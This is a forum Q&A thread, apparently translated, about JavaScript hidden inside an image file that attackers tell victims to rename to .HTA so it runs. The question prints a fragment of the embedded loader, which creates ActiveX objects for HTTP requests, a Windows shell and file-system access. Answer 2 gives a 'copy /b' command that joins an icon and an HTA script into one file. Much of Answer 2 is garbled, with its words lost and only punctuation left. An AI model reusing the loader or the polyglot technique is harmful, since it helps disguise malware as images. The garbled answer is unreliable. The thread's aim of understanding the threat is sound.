Javascript insert inside image file

Question

I noticed a new trend in the distribution of potentially unsafe code, where people send an image to the server with a watermark, offering to change the file name for the .HTA file extension.

I realized that .HTA is an HTML application file that implicitly trusts Microsoft logic and can contain code that will do anything on a website. I opened the file with my favorite text editor and, to my surprise, there was Javascript code in the image file!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV

//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");

There is also more distorted image data under the source code. This is just a fragment.

I am very curious to find out how they were able to add Javascript code to the image file without distorting the image file format and making it invisible. I introduced this to some of my employees and they were at a standstill.

Answer 1

I suppose this is a multi-page file of some kind (for which it would be nice to contain both images and script data) that can be executed immediately (in the local context), since they are processed as a hypertext application.

For more information, we will need to see the full actual file.

Answer 2

The problem here is liberal file format tolerances.

JPG , "" . , JPG . HTA , "" , script .

: .hta ? Alexandre Jasmine HTA :

      copy /b icon.ico+source.hta iconapp.hta

/ script .

script, , , . HTA script -, , , , , .